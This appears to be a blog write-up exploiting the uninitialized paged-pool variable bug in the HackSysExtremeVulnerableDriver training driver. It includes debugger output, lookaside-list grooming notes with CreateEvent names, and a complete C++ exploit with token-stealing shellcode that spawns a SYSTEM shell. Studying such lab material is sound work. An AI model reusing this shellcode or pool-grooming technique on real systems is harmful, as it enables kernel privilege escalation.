truebad0ur@home:~$

write-up

write-up 2

exploit

original file renamed to UninitializedMemoryPagedPool.c

Now our way is Uninitialized Heap Variable

    • bp HEVD!TriggerUninitializedHeapVariable
    • bp HEVD!TriggerUninitializedHeapVariable+119

Simply the same idea as in the previous one, but now it’s from heap

I’ll use this post to recreate the exploit in c++ and get some instructions in the process

Simple pattern as in first parts:

#include <stdio.h>
#include <Windows.h>

HANDLE hDevice;

int main() {

  hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
    GENERIC_READ | GENERIC_WRITE,
    NULL,
    NULL,
    OPEN_EXISTING,
    NULL,
    NULL);

  printf("[+] Start to get HANDLE...\n");
  if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
  {
    return FALSE;
  }
  printf("[+] Success to get HANDLE!\n");

  DWORD bReturn = 0;
  char buf[4] = { 0xb0, 0xb0, 0xd0, 0xba };

  DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);

  return 0;
}

[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0xAC085188
[+] UserValue: 0xBAD0B0B0
[+] UninitializedHeapVariable Address: 0xAB83BA98
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0xBAD0B0B0
[+] UninitializedHeapVariable->Callback: 0x905ACD58

kd> u 0x905ACD58
905acd58 688ad95a90      push    offset HEVD! ?? ::NNGAKEGL::`string' (905ad98a)
905acd5d e8a4c2ffff      call    HEVD!DbgPrint (905a9006)
905acd62 59              pop     ecx

Everything is okay, our template is ready

Let’s provide anything except for 0xBAD0B0B0 value:

[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x8CD65960
[+] UserValue: 0x41414141
[+] UninitializedHeapVariable Address: 0xAB96DA98
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0x557BBF9D
[-] Exception Code: 0xC0000005

Looks like the same previous post about Pool Feng-Shui where we used CreateEvent’s

Most important thing to note here is that even though the event object itself is allocated to Non-Paged Pool, the last parameter, lpName of type LPCTSTR is actually allocated on the Paged Pool.

And we can actually define what it contains and its length.

Important moments to notice:

  • We’d be grooming the Lookaside list, which are lazy activated only two minutes after the boot.
  • Maximum Blocksize for Lookaside list is 0x20, and it only manages upto 256 chunks, after that, any additional chunks are managed by the ListHead.
  • We need to allocate 256 objects of same size and then freeing them. If the list is not populated, then the allocation would come from ListHead list.
  • We need to make sure that the string for the object name is random for each call to object constructor, as if same string is passed to consecutive calls to object constructor, then only one Pool chuck will be served for all further requests.
  • We also need to make sure that our lpName shouldn’t contain any NULL characters, as that would change the length of the lpName, and the exploit would fail. (important, here VirtualAlloc wouldn’t work)

We’d be giving lpName a size of 0xF0, the header size would be 0x8, total 0xF8 chunks. The shellcode we’d borrow from our previous tutorial

Thanks Thunder_J for his code

[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0xAE8BCD40
[+] UserValue: 0x41414141
[+] UninitializedHeapVariable Address: 0x8FBD5A98
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0x0015F990

kd> !pool 0xAE8BCD40
Pool page ae8bcd40 region is Unknown
 ae8bc000 size:   30 previous size:    0  (Allocated)  CMVa
 ae8bc030 size:    8 previous size:   30  (Free)       SeAt
...
 ae8bc7c8 size:  570 previous size:  128  (Allocated)  Toke (Protected)
*ae8bcd38 size:   f8 previous size:  570  (Allocated) *Hack
    Owning component : Unknown (update pooltag.txt)

kd> dd ae8bcd38
ReadVirtual: ae8bcd38 not properly sign extended
ae8bcd38  061f02ae 6b636148 00000000 0015f990
ae8bcd48  41414141 41414141 41414141 41414141
ae8bcd58  41414141 41414141 41414141 41414141
ae8bcd68  41414141 41414141 41414141 41414141
ae8bcd78  41414141 41414141 41414141 41414141
ae8bcd88  41414141 41414141 41414141 41414141
ae8bcd98  41414141 41414141 41414141 41414141
ae8bcda8  41414141 41414141 41414141 41414141

kd> u 0015f990
0015f990 60              pushad
0015f991 64a124010000    mov     eax,dword ptr fs:[00000124h]
0015f997 8b4050          mov     eax,dword ptr [eax+50h]
0015f99a 89c1            mov     ecx,eax
0015f99c 8b98f8000000    mov     ebx,dword ptr [eax+0F8h]
#include <stdio.h>
#include <Windows.h>

HANDLE hDevice = NULL;

static VOID CreateCmd() {
  STARTUPINFO si = { sizeof(si) };
  PROCESS_INFORMATION pi = { 0 };
  si.dwFlags = STARTF_USESHOWWINDOW;
  si.wShowWindow = SW_SHOW;
  WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
  BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
  if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main() {
  // Get HANDLE
  hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
    GENERIC_READ | GENERIC_WRITE,
    NULL,
    NULL,
    OPEN_EXISTING,
    NULL,
    NULL);

  printf("[+]Start to get HANDLE...\n");
  if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
    printf("[-]Failed to get HANDLE!\n");
    exit(0);
  }
  printf("[+]Success to get HANDLE!\n");

  HANDLE Event_OBJECT[0x1000];

  char Shellcode[] = (
    "\x60"
    "\x64\xA1\x24\x01\x00\x00"
    "\x8B\x40\x50"
    "\x89\xC1"
    "\x8B\x98\xF8\x00\x00\x00"
    "\xBA\x04\x00\x00\x00"
    "\x8B\x80\xB8\x00\x00\x00"
    "\x2D\xB8\x00\x00\x00"
    "\x39\x90\xB4\x00\x00\x00"
    "\x75\xED"
    "\x8B\x90\xF8\x00\x00\x00"
    "\x89\x91\xF8\x00\x00\x00"
    "\x61"
    "\xC3"
    );

  //LPVOID Shellcode_Addr = VirtualAlloc(NULL,
  //  sizeof(Shellcode),
  //  MEM_COMMIT | MEM_RESERVE,
  //  PAGE_EXECUTE_READWRITE);

  //memcpy(Shellcode_Addr, Shellcode, sizeof(Shellcode));


  DWORD bReturn = 0;
  char lpName[0xf0] = { 0 };
  char buf[4] = { 0x41, 0x41, 0x41, 0x41 };

  memset(lpName, 0x41, 0xf0);

  printf("lpName is in 0x%p\n", lpName);
  for (int i = 0; i < 256; i++) {
    *(PDWORD)(lpName + 0x4) = (DWORD)&Shellcode;

    *(PDWORD)(lpName + 0xf0 - 4) = 0;
    *(PDWORD)(lpName + 0xf0 - 3) = 0;
    *(PDWORD)(lpName + 0xf0 - 2) = 0;
    *(PDWORD)(lpName + 0xf0 - 1) = i;
    Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpName);
  }

  for (int i = 0; i < 256; i++) {
    CloseHandle(Event_OBJECT[i]);
    i += 4;
  }

  DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
  //__debugbreak();

  printf("[+]Start to Create cmd...\n");
  CreateCmd();
  system("pause");

  return 0;
}